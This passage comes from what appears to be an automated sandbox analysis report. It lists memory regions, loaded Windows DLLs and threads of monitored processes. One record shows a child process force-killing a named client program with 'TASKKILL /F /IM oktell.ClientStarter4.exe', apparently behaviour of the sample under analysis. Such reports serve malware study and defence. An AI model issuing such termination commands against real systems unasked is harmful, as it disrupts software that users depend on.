= 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3433 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3434 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3435 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3436 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3437 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3438 start_va = 0x1a0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3439 start_va = 0xdb0000 end_va = 0xdc5fff entry_point = 0xdb5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 3440 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3441 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3442 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3443 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3444 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3445 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3446 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3447 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3448 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3449 start_va = 0x240000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3450 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3451 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3452 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3453 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 3454 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 3455 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3456 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3457 start_va = 0x80000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 3458 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3459 start_va = 0x320000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3460 start_va = 0x6a7b0000 end_va = 0x6a89afff entry_point = 0x6a7b13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 3461 start_va = 0x6a8a0000 end_va = 0x6a8aefff entry_point = 0x6a8a12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3462 start_va = 0x6a8b0000 end_va = 0x6a8c0fff entry_point = 0x6a8b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3463 start_va = 0x6a8d0000 end_va = 0x6a8dcfff entry_point = 0x6a8d11e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 3464 start_va = 0x6a8e0000 end_va = 0x6a914fff entry_point = 0x6a8e13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 3465 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3466 start_va = 0x73e30000 end_va = 0x73e38fff entry_point = 0x73e315a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3467 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3468 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3469 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3470 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3471 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3472 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3473 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3474 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3475 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3476 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3477 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3478 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3479 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3480 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3481 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3482 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3483 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3484 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3485 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3486 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3487 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3488 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3489 start_va = 0x420000 end_va = 0x5a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 3490 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3491 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3492 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3493 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3494 start_va = 0x90000 end_va = 0x93fff entry_point = 0x90000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 3495 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3496 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3497 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3498 start_va = 0x200000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3499 start_va = 0x2c0000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 3500 start_va = 0x5b0000 end_va = 0x730fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 3501 start_va = 0x740000 end_va = 0x7fffff entry_point = 0x740000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3502 start_va = 0x9a0000 end_va = 0x9dffff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 3503 start_va = 0xdd0000 end_va = 0x21cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dd0000" filename = "" Region: id = 3504 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3505 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3506 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 3507 start_va = 0x6a5b0000 end_va = 0x6a60bfff entry_point = 0x6a5d2b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 3508 start_va = 0x6a720000 end_va = 0x6a729fff entry_point = 0x6a72149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 3509 start_va = 0x800000 end_va = 0x8fffff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 3510 start_va = 0x930000 end_va = 0x96ffff entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 3511 start_va = 0x6a580000 end_va = 0x6a5a8fff entry_point = 0x6a586b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 3512 start_va = 0x9e0000 end_va = 0xcaefff entry_point = 0x9e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3513 start_va = 0x21e0000 end_va = 0x221ffff entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 3514 start_va = 0x22a0000 end_va = 0x22dffff entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 3515 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3516 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3517 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3518 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3519 start_va = 0xd50000 end_va = 0xd8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 3520 start_va = 0x2380000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 3521 start_va = 0x23f0000 end_va = 0x242ffff entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 3522 start_va = 0x2480000 end_va = 0x24bffff entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3523 start_va = 0x6a710000 end_va = 0x6a71efff entry_point = 0x6a7121a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 3524 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3525 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3526 start_va = 0x6a4c0000 end_va = 0x6a4d7fff entry_point = 0x6a4c1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 3527 start_va = 0x6a4e0000 end_va = 0x6a575fff entry_point = 0x6a4ff8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 216 os_tid = 0x204 Thread: id = 217 os_tid = 0x23c Thread: id = 218 os_tid = 0x238 Thread: id = 219 os_tid = 0x244 Thread: id = 220 os_tid = 0x2a4 Process: id = "28" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x58ac7000" os_pid = "0xfc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3528 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3529 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3530 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3531 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3532 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3533 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3534 start_va = 0x240000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3535 start_va = 0xff0000 end_va = 0x1005fff entry_point = 0xff5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 3536 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3537 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3538 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3539 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3540 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3541 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3542 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3543 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3544 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3545 start_va = 0x450000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3546 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3547 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3548 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3549 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 3550 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 3551 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3552 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3553 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3554 start_va = 0x6a0000 end_va = 0x79ffff entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 3555 start_va = 0x990000 end_va = 0x99ffff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 3556 start_va = 0x6a520000 end_va = 0x6a60afff entry_point = 0x6a5213ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 3557 start_va = 0x6a8a0000 end_va = 0x6a8d4fff entry_point = 0x6a8a13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 3558 start_va = 0x6a8e0000 end_va = 0x6a8eefff entry_point = 0x6a8e12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3559 start_va = 0x6a8f0000 end_va = 0x6a8f8fff entry_point = 0x6a8f15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3560 start_va = 0x6a900000 end_va = 0x6a910fff entry_point = 0x6a901300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3561 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3562 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e311e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 3563 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3564 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3565 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3566 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3567 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3568 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3569 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3570 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3571 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3572 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3573 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3574 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3575 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3576 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3577 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3578 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3579 start_va = 0x77130000 end_va = 0x77164fff entry_point = 